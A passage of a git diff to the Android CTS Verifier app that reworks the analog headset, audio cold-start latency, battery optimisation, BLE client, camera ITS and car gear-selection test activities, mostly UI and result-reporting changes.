+ <string name="analog_headset_pass_noheadset">"PASS. No headset port available."</string>
+ <string name="analog_headset_pass">PASS.</string>
+ <string name="analog_headset_port_detected">"Analog port detected."</string>
+ <string name="analog_headset_press_buttons">Press headset buttons to verify recognition.</string>
+ <string name="analog_headset_headset_connected">Headset connected.</string>
+ <string name="analog_headset_no_headset">No Headset. Connect headset to 3.5mm analog jack.</string>
+ <string name="analog_headset_action_received">ACTION_HEADSET_PLUG received - </string>
+ <string name="analog_headset_unplugged">Unplugged</string>
+ <string name="analog_headset_plugged">Plugged</string>
+ <string name="analog_headset_mic"> [mic]</string>
+ <string name="analog_headset_test_info">This test tests the following functionality with respect to wired analog headsets.\n
1. Correct audio playback.\n
2. Plug intents.\n
3. Headset keycodes.\n
- To run this test it is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons.
+ \nTo execute test:\n
+ 1. Plug in an Android-compatible, analog headset. Verify connection/recognition.\n
+ 2. Play test tone and verify correct behavior.\n
+ 3. Press headset buttons until all are recognized on the test screen.\n
+ \nTo run this test it is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons.\n
+ \n(see <a href="https://source.android.com/devices/accessories/headset/plug-headset-spec">3.5 mm Headset: Accessory Specification</a> and
+ <a href="https://source.android.com/compatibility/android-cdd#7_8_2_1_analog_audio_ports">Android CDD § 7.8.2.1. Analog Audio Ports</a>)
</string>
<!-- Audio AEC Test -->
<string name="audio_aec_test">Audio Acoustic Echo Cancellation (AEC) Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index c998c542d6f..4ce2a12902c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -24,6 +24,7 @@ import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.res.Resources;
import android.graphics.Color;
@@ -60,6 +61,7 @@ public class AnalogHeadsetAudioActivity
private AudioManager mAudioManager;
// UI
+ private TextView mHasPortQueryText;
private Button mHasAnalogPortYesBtn;
private Button mHasAnalogPortNoBtn;
@@ -67,10 +69,12 @@ public class AnalogHeadsetAudioActivity
private Button mStopButton;
private Button mPlaybackSuccessBtn;
private Button mPlaybackFailBtn;
+ private TextView mPlaybackStatusTxt;
private TextView mHeadsetNameText;
private TextView mHeadsetPlugMessage;
+ private TextView mButtonsPromptTxt;
private TextView mHeadsetHookText;
private TextView mHeadsetVolUpText;
private TextView mHeadsetVolDownText;
@@ -90,6 +94,8 @@ public class AnalogHeadsetAudioActivity
private boolean mHasVolUp;
private boolean mHasVolDown;
+ private TextView mResultsTxt;
+
// Player
protected boolean mIsPlaying = false;
@@ -113,6 +119,7 @@ public class AnalogHeadsetAudioActivity
mHeadsetPlugMessage = (TextView)findViewById(R.id.headset_analog_plug_message);
// Analog Port?
+ mHasPortQueryText = (TextView)findViewById(R.id.analog_headset_query) ;
mHasAnalogPortYesBtn = (Button)findViewById(R.id.headset_analog_port_yes);
mHasAnalogPortYesBtn.setOnClickListener(this);
mHasAnalogPortNoBtn = (Button)findViewById(R.id.headset_analog_port_no);
@@ -123,6 +130,7 @@ public class AnalogHeadsetAudioActivity
mPlayButton.setOnClickListener(this);
mStopButton = (Button)findViewById(R.id.headset_analog_stop);
mStopButton.setOnClickListener(this);
+ mPlaybackStatusTxt = (TextView)findViewById(R.id.analog_headset_playback_status);
// Play Status
mPlaybackSuccessBtn = (Button)findViewById(R.id.headset_analog_play_yes);
@@ -133,10 +141,13 @@ public class AnalogHeadsetAudioActivity
mPlaybackFailBtn.setEnabled(false);
// Keycodes
+ mButtonsPromptTxt = (TextView)findViewById(R.id.analog_headset_keycodes_prompt);
mHeadsetHookText = (TextView)findViewById(R.id.headset_keycode_headsethook);
mHeadsetVolUpText = (TextView)findViewById(R.id.headset_keycode_volume_up);
mHeadsetVolDownText = (TextView)findViewById(R.id.headset_keycode_volume_down);
+ mResultsTxt = (TextView)findViewById(R.id.headset_results);
+
mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
setupPlayer();
@@ -161,12 +172,17 @@ public class AnalogHeadsetAudioActivity
//
private boolean calculatePass() {
if (!mHasHeadsetPort) {
+ mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass_noheadset));
return true;
} else {
- return mPlugIntentReceived &&
+ boolean pass = mPlugIntentReceived &&
mHeadsetDeviceInfo != null &&
mPlaybackSuccess &&
(mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
+ if (pass) {
+ mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass));
+ }
+ return pass;
}
}
@@ -177,20 +193,19 @@ public class AnalogHeadsetAudioActivity
has ? 1 : 0,
ResultType.NEUTRAL,
ResultUnit.NONE);
- if (has) {
- mHasAnalogPortNoBtn.setEnabled(false);
- } else {
- mHasAnalogPortYesBtn.setEnabled(false);
- }
enablePlayerButtons(has && mHeadsetDeviceInfo != null);
if (!has) {
// no port, so can't test. Let them pass
- getPassButton().setEnabled(true);
+ getPassButton().setEnabled(calculatePass());
}
}
private void reportPlugIntent(Intent intent) {
+ // NOTE: This is a "sticky" intent meaning that if a headset has EVER been plugged in
+ // (since a reboot), we will receive this intent.
+ Resources resources = getResources();
+
// [C-1-4] MUST trigger ACTION_HEADSET_PLUG upon a plug insert,
// but only after all contacts on plug are touching their relevant segments on the jack.
mPlugIntentReceived = true;
@@ -201,9 +216,11 @@ public class AnalogHeadsetAudioActivity
int state = intent.getIntExtra("state", -1);
if (state != -1) {
-
StringBuilder sb = new StringBuilder();
- sb.append("ACTION_HEADSET_PLUG received - " + (state == 0 ? "Unplugged" : "Plugged"));
+ sb.append(resources.getString(R.string.analog_headset_action_received)
+ + resources.getString(
+ state == 0 ? R.string.analog_headset_unplugged
+ : R.string.analog_headset_plugged));
String name = intent.getStringExtra("name");
if (name != null) {
@@ -212,11 +229,23 @@ public class AnalogHeadsetAudioActivity
int hasMic = intent.getIntExtra("microphone", 0);
if (hasMic == 1) {
- sb.append(" [mic]");
+ sb.append(resources.getString(R.string.analog_headset_mic));
}
mHeadsetPlugMessage.setText(sb.toString());
+
+ // If we receive this intent, there is no need to ask if there is an analog jack.
+ reportHeadsetPort(true);
+
+ mHasPortQueryText.setText(getResources().getString(
+ R.string.analog_headset_port_detected));
+ mHasAnalogPortYesBtn.setVisibility(View.GONE);
+ mHasAnalogPortNoBtn.setVisibility(View.GONE);
+
+ mPlaybackStatusTxt.setText(getResources().getString(
+ R.string.analog_headset_playback_prompt));
}
+
getReportLog().addValue(
"ACTION_HEADSET_PLUG Intent Received. State: ",
state,
@@ -228,14 +257,9 @@ public class AnalogHeadsetAudioActivity
// [C-1-1] MUST support audio playback to stereo headphones
// and stereo headsets with a microphone.
mPlaybackSuccess = success;
- if (success) {
- mPlaybackFailBtn.setEnabled(false);
- } else {
- mPlaybackSuccessBtn.setEnabled(false);
- }
mPlaybackSuccessBtn.setEnabled(success);
- mPlaybackFailBtn.setEnabled(success);
+ mPlaybackFailBtn.setEnabled(!success);
getPassButton().setEnabled(calculatePass());
@@ -244,6 +268,11 @@ public class AnalogHeadsetAudioActivity
success ? 1 : 0,
ResultType.NEUTRAL,
ResultUnit.NONE);
+
+ if (success) {
+ mButtonsPromptTxt.setText(getResources().getString(
+ R.string.analog_headset_press_buttons));
+ }
}
//
@@ -251,12 +280,10 @@ public class AnalogHeadsetAudioActivity
//
private void showConnectedDevice() {
if (mHeadsetDeviceInfo != null) {
- mHeadsetNameText.setText(
- mHeadsetDeviceInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
- ? "Headset Connected"
- : "Headphones Connected");
+ mHeadsetNameText.setText(getResources().getString(
+ R.string.analog_headset_headset_connected));
} else {
- mHeadsetNameText.setText("No Headset/Headphones Connected");
+ mHeadsetNameText.setText(getResources().getString(R.string.analog_headset_no_headset));
}
}
@@ -299,6 +326,9 @@ public class AnalogHeadsetAudioActivity
mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
mAudioPlayer.startStream();
mIsPlaying = true;
+
+ mPlayButton.setEnabled(false);
+ mStopButton.setEnabled(true);
}
}
@@ -307,6 +337,12 @@ public class AnalogHeadsetAudioActivity
mAudioPlayer.stopStream();
mAudioPlayer.teardownStream();
mIsPlaying = false;
+
+ mPlayButton.setEnabled(true);
+ mStopButton.setEnabled(false);
+
+ mPlaybackStatusTxt.setText(getResources().getString(
+ R.string.analog_headset_playback_query));
}
}
@@ -365,7 +401,6 @@ public class AnalogHeadsetAudioActivity
}
showConnectedDevice();
- enablePlayerButtons(mHeadsetDeviceInfo != null);
}
private class ConnectListener extends AudioDeviceCallback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java
index 71448dfa25c..0d06c48087f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java
@@ -71,6 +71,7 @@ public abstract class AudioColdStartBaseActivity
TextView mAttributesTxt;
TextView mOpenTimeTxt;
TextView mStartTimeTxt;
+ TextView mLatencyTxt;
TextView mResultsTxt;
// Time-base conversions
@@ -109,13 +110,24 @@ public abstract class AudioColdStartBaseActivity
}
void showColdStartLatency() {
- mResultsTxt.setText("latency: " + mColdStartlatencyMS);
+ mLatencyTxt.setText("Latency: " + mColdStartlatencyMS);
+
+ if (mColdStartlatencyMS <= getRecommendedTimeMS()) {
+ mResultsTxt.setText("PASS. Meets RECOMMENDED latency of "
+ + getRecommendedTimeMS() + "ms");
+ } else if (mColdStartlatencyMS <= getRequiredTimeMS()) {
+ mResultsTxt.setText("PASS. Meets REQUIRED latency of " + getRequiredTimeMS() + "ms");
+ } else {
+ mResultsTxt.setText("FAIL. Did not meet REQUIRED latency of " + getRequiredTimeMS()
+ + "ms");
+ }
}
protected void clearResults() {
mAttributesTxt.setText("");
mOpenTimeTxt.setText("");
mStartTimeTxt.setText("");
+ mLatencyTxt.setText("");
mResultsTxt.setText("");
}
@@ -137,9 +149,13 @@ public abstract class AudioColdStartBaseActivity
mAttributesTxt = ((TextView) findViewById(R.id.coldstart_attributesTxt));
mOpenTimeTxt = ((TextView) findViewById(R.id.coldstart_openTimeTxt));
mStartTimeTxt = ((TextView) findViewById(R.id.coldstart_startTimeTxt));
- mResultsTxt = (TextView) findViewById(R.id.coldstart_coldLatencyTxt);
+ mLatencyTxt = (TextView) findViewById(R.id.coldstart_coldLatencyTxt);
+ mResultsTxt = (TextView) findViewById(R.id.coldstart_coldResultsTxt);
}
+ abstract int getRequiredTimeMS();
+ abstract int getRecommendedTimeMS();
+
abstract boolean startAudioTest();
abstract void stopAudioTest();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
index ec0ff2ee235..5ed51e32ce2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
@@ -267,7 +267,7 @@ public class AudioFrequencyVoiceRecognitionActivity extends AudioFrequencyActivi
//Init bands for Mic test
mBandSpecsMic[0] = new AudioBandSpecs(
- 5, 100, /* frequency start,stop */
+ 30, 100, /* frequency start,stop */
20.0, -20.0, /* start top,bottom value */
20.0, -20.0 /* stop top,bottom value */);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
index 9af7e14c0ac..346a526785c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
@@ -48,7 +48,7 @@ public class AudioInColdStartLatencyActivity
// MegaAudio
private Recorder mRecorder;
- private TextView mCallbackDeltaTxt;
+// private TextView mCallbackDeltaTxt;
private long mPreviousCallbackTime;
private long mCallbackDeltaTime;
@@ -88,15 +88,24 @@ public class AudioInColdStartLatencyActivity
}
void showInResults() {
- showColdStartLatency();
-
calcTestResult();
+ showColdStartLatency();
}
protected void stopAudio() {
stopAudioTest();
}
+ @Override
+ int getRequiredTimeMS() {
+ return LATENCY_MS_MUST;
+ }
+
+ @Override
+ int getRecommendedTimeMS() {
+ return LATENCY_MS_RECOMMEND;
+ }
+
//
// Audio Streaming
//
@@ -124,7 +133,7 @@ public class AudioInColdStartLatencyActivity
mIsTestRunning = true;
} catch (RecorderBuilder.BadStateException badStateException) {
- mResultsTxt.setText("Can't Start Recorder.");
+ mLatencyTxt.setText("Can't Start Recorder.");
Log.e(TAG, "BadStateException: " + badStateException);
mIsTestRunning = false;
}
@@ -150,6 +159,7 @@ public class AudioInColdStartLatencyActivity
}
mRecorder.stopStream();
+ mRecorder.teardownStream();
mIsTestRunning = false;
@@ -164,7 +174,7 @@ public class AudioInColdStartLatencyActivity
// Callback for Recorder
/*
* Monitor callbacks until they become consistent (i.e. delta between callbacks is below
- * some threshold like 1/8 the "nominal" callback time. This is defined as the "cold start
+ * some threshold like 1/8 the "nominal" callback time). This is defined as the "cold start
* latency". Calculate that time and display the results.
*/
class ColdStartAppCallback implements AppCallback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
index 8f6c7f945f6..40ba9eb3379 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
@@ -112,10 +112,6 @@ public class AudioOutColdStartLatencyActivity
return mColdStartlatencyMS;
}
- protected void stopAudio() {
- stopAudioTest();
- }
-
void startOutTimer() {
TimerTask task = new TimerTask() {
public void run() {
@@ -125,16 +121,16 @@ public class AudioOutColdStartLatencyActivity
@Override
public void run() {
calcColdStartLatency(mPullTimestamp);
- showColdStartLatency();
stopAudioTest();
updateTestStateButtons();
+ showColdStartLatency();
calcTestResult();
}
});
} else {
Log.e(TAG, "NO TIME STAMP");
- mResultsTxt.setText("NO TIME STAMP");
+ mLatencyTxt.setText("NO TIME STAMP");
}
mTimer = null;
@@ -152,6 +148,16 @@ public class AudioOutColdStartLatencyActivity
}
}
+ @Override
+ int getRequiredTimeMS() {
+ return LATENCY_MS_MUST;
+ }
+
+ @Override
+ int getRecommendedTimeMS() {
+ return LATENCY_MS_RECOMMEND;
+ }
+
//
// Audio Streaming
//
@@ -177,7 +183,7 @@ public class AudioOutColdStartLatencyActivity
mIsTestRunning = true;
} catch (PlayerBuilder.BadStateException badStateException) {
Log.e(TAG, "BadStateException: " + badStateException);
- mResultsTxt.setText("Can't Start Player.");
+ mLatencyTxt.setText("Can't Start Player.");
mIsTestRunning = false;
}
@@ -198,6 +204,8 @@ public class AudioOutColdStartLatencyActivity
}
mPlayer.stopStream();
+ mPlayer.teardownStream();
+
mIsTestRunning = false;
stopOutTimer();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
index 29e23c79cdb..beed70aa1f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
@@ -77,12 +77,6 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity
return true;
}
- private void openAppInfoPage() {
- Intent appInfoIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
- appInfoIntent.setData(Uri.parse("package:" + getPackageName()));
- startActivity(appInfoIntent);
- }
-
private void openIgnoreBatteryOptimizationsAppList() {
Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS);
startActivity(intent);
@@ -101,7 +95,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity
@Override
protected void onNextClick() {
if (isExempted()) {
- openAppInfoPage();
+ openIgnoreBatteryOptimizationsAppList();
} else {
succeed();
}
@@ -151,7 +145,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity
@Override
protected void onNextClick() {
if (isExempted()) {
- openAppInfoPage();
+ openIgnoreBatteryOptimizationsAppList();
} else {
succeed();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index bfcd85d6dc5..a05daaedad6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -28,6 +28,7 @@ import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.os.Handler;
+import android.util.Log;
import android.widget.ListView;
import com.android.cts.verifier.PassFailButtons;
@@ -35,7 +36,6 @@ import com.android.cts.verifier.R;
import java.util.ArrayList;
import java.util.List;
-import android.util.Log;
public class BleClientTestBaseActivity extends PassFailButtons.Activity {
public static final String TAG = "BleClientTestBase";
@@ -104,8 +104,8 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity {
}
@Override
- public void onResume() {
- super.onResume();
+ public void onStart() {
+ super.onStart();
IntentFilter filter = new IntentFilter();
filter.addAction(BleClientService.BLE_BLUETOOTH_CONNECTED);
@@ -138,10 +138,15 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity {
@Override
public void onPause() {
super.onPause();
- unregisterReceiver(mBroadcast);
closeDialog();
}
+ @Override
+ public void onStop() {
+ super.onStop();
+ unregisterReceiver(mBroadcast);
+ }
+
private synchronized void closeDialog() {
if (mDialog != null) {
mDialog.dismiss();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
index 54f8ad1d304..90848a9e07f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
@@ -17,7 +17,9 @@
package com.android.cts.verifier.bluetooth;
import android.bluetooth.BluetoothAdapter;
+import android.content.pm.PackageManager;
import android.os.Bundle;
+import android.os.SystemProperties;
import com.android.cts.verifier.ManifestTestListAdapter;
import com.android.cts.verifier.PassFailButtons;
@@ -42,6 +44,16 @@ public class BleSecureClientTestListActivity extends PassFailButtons.TestListAct
"com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
}
+ // RPA is optional on TVs already released before Android 11
+ boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
+ if (isTv && (firstSdk <= 29)) {
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedClientTestActivity");
+ }
+
setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
disabledTest.toArray(new String[disabledTest.size()])));
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 63d96879dea..69a63f21ac3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -737,9 +737,9 @@ public class ItsService extends Service implements SensorEventListener {
doCheckStreamCombination(cmdObj);
} else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
doCheckCameraPrivacyModeSupport();
- } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
+ } else if ("getPerformanceClassLevel".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
- doCheckPerformanceClassPrimaryCamera(cameraId);
+ doGetPerformanceClassLevel(cameraId);
} else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
String cameraId = cmdObj.getString("cameraId");
doMeasureCameraLaunchMs(cameraId);
@@ -1082,9 +1082,9 @@ public class ItsService extends Service implements SensorEventListener {
hasPrivacySupport ? "true" : "false");
}
- private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException {
- boolean isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S
- || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
+ private void doGetPerformanceClassLevel(String cameraId) throws ItsException {
+ boolean isSPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S);
+ boolean isRPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
if (mItsCameraIdList == null) {
mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
@@ -1116,8 +1116,9 @@ public class ItsService extends Service implements SensorEventListener {
throw new ItsException("Failed to get camera characteristics", e);
}
- mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera",
- (isPerfClass && isPrimaryCamera) ? "true" : "false");
+ mSocketRunnableObj.sendResponse("performanceClassLevel",
+ (isSPerfClass && isPrimaryCamera) ? "12" :
+ ((isRPerfClass && isPrimaryCamera) ? "11" : "0"));
}
private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
index ed5cfc9009d..c926d1aebc8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
@@ -18,29 +18,37 @@ package com.android.cts.verifier.car;
import android.car.Car;
import android.car.VehicleGear;
+import android.car.VehiclePropertyIds;
import android.car.hardware.CarPropertyConfig;
import android.car.hardware.CarPropertyValue;
import android.car.hardware.property.CarPropertyManager;
-import android.car.VehicleAreaType;
-import android.car.VehiclePropertyIds;
import android.os.Bundle;
-import android.widget.TextView;
-import android.util.ArraySet;
import android.util.Log;
+import android.widget.TextView;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-import java.util.Arrays;
import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
/** A CTS Verifier test case to verify GEAR_SELECTION is implemented correctly.*/
-public class GearSelectionTestActivity extends PassFailButtons.Activity {
+public final class GearSelectionTestActivity extends PassFailButtons.Activity {
private static final String TAG = GearSelectionTestActivity.class.getSimpleName();
+
+ // Need to finish the test in 10 minutes.
+ private static final long TEST_TIMEOUT_MINUTES = 10;
+
private List<Integer> mSupportedGears;
- private int mGearsAchievedCount = 0;
+ private Integer mGearsAchievedCount = 0;
private TextView mExpectedGearSelectionTextView;
private TextView mCurrentGearSelectionTextView;
+ private CarPropertyManager mCarPropertyManager;
+ private ExecutorService mExecutor;
+ private GearSelectionCallback mGearSelectionCallback = new GearSelectionCallback();
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -54,30 +62,58 @@ public class GearSelectionTestActivity extends PassFailButtons.Activity {
mExpectedGearSelectionTextView = (TextView) findViewById(R.id.expected_gear_selection);
mCurrentGearSelectionTextView = (TextView) findViewById(R.id.current_gear_selection);
+ mExecutor = Executors.newSingleThreadExecutor();
+ setUpTest();
+ }
- CarPropertyManager carPropertyManager =
- (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
-
- // TODO(b/138961351): Verify test works on manual transmission.
- mSupportedGears = carPropertyManager.getPropertyList(new ArraySet<>(Arrays.asList(new
- Integer[]{VehiclePropertyIds.GEAR_SELECTION}))).get(0).getConfigArray();
+ private void setUpTest() {
+ mCarPropertyManager =
+ (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+ if (mCarPropertyManager == null) {
+ Log.e(TAG, "Failed to get CarPropertyManager");
+ mExpectedGearSelectionTextView.setText("CONNECTING ERROR");
+ return;
+ }
- if(mSupportedGears.size() != 0){
- Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0)));
- mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0)));
- } else {
- Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
- mExpectedGearSelectionTextView.setText("ERROR");
+ //Verify property config
+ CarPropertyConfig<?> gearConfig = mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.GEAR_SELECTION);
+ if (gearConfig == null || gearConfig.getConfigArray().size() == 0) {
+ Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
+ mExpectedGearSelectionTextView.setText("GEAR CONFIG ERROR");
+ return;
}
- if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
- VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
- Log.e(TAG, "Failed to register callback for GEAR_SELECTION with CarPropertyManager");
+ //Register the callback for testing
+ mSupportedGears = gearConfig.getConfigArray();
+ Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0)));
+ mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0)));
+ mGearSelectionCallback = new GearSelectionCallback();
+ mGearSelectionCallback.setSupportedGearCounter(mSupportedGears.size());
+ if (!mCarPropertyManager.registerCallback(mGearSelectionCallback,
+ VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+ Log.e(TAG,
+ "Failed to register callback for GEAR_SELECTION with CarPropertyManager");
+ mExpectedGearSelectionTextView.setText("CONNECTING ERROR");
+ return;
}
+
+ //Unregister if test is timeout
+ mExecutor.execute(() -> {
+ try {
+ mGearSelectionCallback.unregisterIfTimeout();
+ } catch (InterruptedException e) {
+ Log.e(TAG, "Test is interrupted: " + e);
+ mExpectedGearSelectionTextView.setText("INTERRUPTED");
+ Thread.currentThread().interrupt();
+ }
+ });
}
- private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
- new CarPropertyManager.CarPropertyEventCallback() {
+ private final class GearSelectionCallback implements
+ CarPropertyManager.CarPropertyEventCallback {
+ private CountDownLatch mCountDownLatch;
+ private int mVerifyingIndex;
@Override
public void onChangeEvent(CarPropertyValue value) {
if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
@@ -89,26 +125,23 @@ public class GearSelectionTestActivity extends PassFailButtons.Activity {
mCurrentGearSelectionTextView.setText(VehicleGear.toString(newGearSelection));
Log.i(TAG, "New Gear Selection: " + VehicleGear.toString(newGearSelection));
- if (mSupportedGears.size() == 0) {
- Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
- return;
- }
-
// Check to see if new gear matches the expected gear.
- if (newGearSelection.equals(mSupportedGears.get(mGearsAchievedCount))) {
- mGearsAchievedCount++;
+ if (newGearSelection.equals(mSupportedGears.get(mVerifyingIndex))) {
+ mCountDownLatch.countDown();
+ mVerifyingIndex++;
Log.i(TAG, "Matched gear: " + VehicleGear.toString(newGearSelection));
- // Check to see if the test is finished.
- if (mGearsAchievedCount >= mSupportedGears.size()) {
+ if (mCountDownLatch.getCount() != 0) {
+ // Test is not finished so update the expected gear.
+ mExpectedGearSelectionTextView.setText(
+ VehicleGear.toString(mSupportedGears.get(mVerifyingIndex)));
+ Log.i(TAG, "New Expected Gear: "
+ + VehicleGear.toString(mSupportedGears.get(mVerifyingIndex)));
+ } else {
+ // Test is finished, unregister the callback
+ mCarPropertyManager.unregisterCallback(mGearSelectionCallback);
mExpectedGearSelectionTextView.setText("Finished");
getPassButton().setEnabled(true);
Log.i(TAG, "Finished Test");
- } else {
- // Test is not finished so update the expected gear.
- mExpectedGearSelectionTextView.setText(
- VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
- Log.i(TAG, "New Expected Gear: " +
- VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
}
}
}
@@ -117,5 +150,17 @@ public class GearSelectionTestActivity extends PassFailButtons.Activity {
public void onErrorEvent(int propId, int zone) {
Log.e(TAG, "propId: " + propId + " zone: " + zone);
}
- };
+
+ public void setSupportedGearCounter(int counter) {
+ mCountDownLatch = new CountDownLatch(counter);
+ }
+
+ public void unregisterIfTimeout() throws InterruptedException {
+ if (!mCountDownLatch.await(TEST_TIMEOUT_MINUTES, TimeUnit.MINUTES)) {
+ Log.e(TAG, "Failed to complete tests in 10 minutes");
